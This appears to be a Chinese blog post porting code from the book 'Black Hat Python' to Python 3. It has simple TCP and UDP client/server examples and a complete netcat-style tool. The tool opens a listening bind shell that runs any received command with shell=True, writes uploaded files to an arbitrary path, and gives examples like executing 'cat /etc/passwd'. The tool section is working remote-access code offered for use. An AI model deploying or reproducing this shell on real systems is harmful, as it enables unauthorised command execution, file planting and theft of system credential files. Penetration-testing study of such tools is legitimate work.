《python黑帽子》使用python3实现
原书是使用python2实现的,本人将其改写为python3版本,部分代码可能与书本实现方式不一致,但效果相同
github:https://github.com/mapyJJJ/PythonBlackHat
1,TCP客户端服务端
#客户端
import socket
'''
socket.AF_INET 服务器之间网络通信
socket.SOCK_STREAM 流式socket , for TCP
s.recv(bufsize[,flag]) 接受TCP套接字的数据。数据以字符串形式返回,bufsize指定要接收的最大数据量。flag提供有关消息的其他信息,通常可以忽略。
'''
target_host="127.0.0.1"
target_port=9090
#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接客户端
client.connect((target_host,target_port))
#发送一些数据(字节流)
client.send(b"Hello!")
#接收一些数据
response=client.recv(1024)
#查看返回的结果
print(response.decode('utf-8'))
#服务端
import socket
import threading
bind_ip='0.0.0.0'
bind_port=9090
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
def handle_client(client_socket):
request=client_socket.recv(1024)
print("[*]received: %s" % request)
client_socket.send(b"ACK!")
client_socket.close()
while True:
client,addr=server.accept()
print("[*]Accept connection from: %s:%d" % (addr[0],addr[1]))
client_handler=threading.Thread(target=handle_client,args=(client,))
client_handler.start()
2,UDP客户端服务端
#客户端
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = ("127.0.0.1", 6000)
while True:
data = input("请输入你的名字: ")
if not data:
continue
s.sendto(data.encode(), addr)
response, addr = s.recvfrom(1024)
print(response.decode())
if data == "exit":
print("Session is over from the server %s:%s\n" % addr)
break
s.close()
#服务端
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 6000))
print("UDP bound on port 6000...")
while True:
data, addr = s.recvfrom(1024)
print("Receive from %s:%s" % addr)
if data == b"exit":
s.sendto(b"Good bye!\n", addr)
continue
s.sendto(b"Hello %s!\n" % data, addr)
3,取代NC大杀器
import sys
import socket
import getopt
import threading
import subprocess
'''
使用场景:
1,使用终端,服务端 xx.py -l -p 5555 -c 客户端 xx.py -t 127.0.0.1 -p 5555
2,上传文件,服务端 xx.py -l -p 5555 -u /1.sh 客户端 xx.py -t 127.0.0.1 -p 5555
3,执行命令,服务端 xx.py -l -p 5555 -e "cat /etc/passwd" 客户端 xx.py -t 127.0.0.1 -p 5555
'''
listen=0
command=False
upload=False
execute=""
target=""
upload_destination=""
port=0
#说明
def usage():
print('BHP Net Tool')
print('')
print("USAGE:xx.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run - execute the given file upon receiving a connextion")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print("")
print("Examples:")
print('xx.py -t 192.168.1.2 -p 5555 -l -c')
print('xx.py -t 192.168.1.2 -p 5555 -l -u c:\\target.exe')
print('xx.py -t 192.168.1.2 -p 5555 -l -e \"cat /etc/passwd\"')
print('echo "Hello" | ./xx.py -t 192.168.1.2 -p 135')
sys.exit(0)
#标准socket客户端终端
def client_sender(res):
# 创建socket对象
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if res == '1':
print('输入"exit"可退出连接')
try:
client.connect((target,port))
while True:
#获取输入的命令
buffer = str(input("<BHP:#>")).encode()
if buffer == b'exit':
break
#发送
client.send(buffer)
#获取返回结果
response = client.recv(4096)
print(response.decode(errors='ignore'))
except:
print("[*]Exception! Exiting.")
client.close()
elif res == '2':
try:
client.connect((target,port))
path=str(input('需要上传的文件路径:'))
with open(path,'rb') as f:
con=f.read()
client.send(con)
client.close()
except:
print("[*]Exception! Exiting.")
client.close()
elif res == '3':
client.connect((target, port))
response = client.recv(4096)
print(response.decode())
#socket服务端
def server_loop():
global target
#当没有定义目标,那我们监听所有接口
if not len(target):
target="0.0.0.0"
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
#进入循环监听模式
while True:
#监听
client_socket,addr=server.accept()
client_thread=threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
#运行指令
def run_command(command):
command=command.rstrip()
try:
output=subprocess.check_output(command.decode(),stderr=subprocess.STDOUT,shell=True)
except Exception as msg:
print('错误:'+str(msg))
output=b"Failed to execute command.\r\n"
return output
#不同的处理过程
def client_handler(client_socket):
global command
global execute
global upload
#判断是否为上传
if len(upload_destination):
print('获取到',str(upload_destination))
file_buffer=""
while True:
data=client_socket.recv(1024)
if not data:
break
else:
file_buffer+=data.decode('utf-8')
try:
file_descriptor=open(upload_destination,'wb')
file_descriptor.write(file_buffer.encode())
file_descriptor.close()
client_socket.send(("Successfully saved file to %s\r\n" % upload_destination).encode())
except Exception as msg:
print(msg)
client_socket.send(("Failed to save file to %s\r\n" % upload_destination).encode())
#是否执行代码
if len(execute):
print('或取到命令',str(execute))
output=run_command(execute.encode())
client_socket.send(output)
#是否命令行模式
if command:
while True:
cmd_buffer=client_socket.recv(1024)
if cmd_buffer:
response=run_command(cmd_buffer)
client_socket.send(response)
else:
continue
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#读取命令行选项
try:
opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e","--execute"):
execute=a
elif o in ("-c","--commandshell"):
command=True
elif o in ("-u","--upload"):
upload_destination=a
elif o in ("-t","--target"):
target=a
elif o in ("-p","--port"):
port=int(a)
else:
assert False,"Unhandled Option"
#不是监听状态下模式时
if not listen and len(target) and port > 0:
#从命令行读取数据,发送给client_sender
print('[1],终端模式\n[2],上传文件\n[3],执行代码:',end="\r\n(输入数字)>>>")
res=sys.stdin.readline().replace('\n','')
if str(res) == '1':
print('[+]开始连接')
client_sender(res)
elif str(res)=='2':
print('[+]文件上传')
client_sender(res)
elif str(res) == '3':
print('执行代码')
client_sender(res)
else:
sys.exit()
#监听状态下
if listen:
server_loop()
main()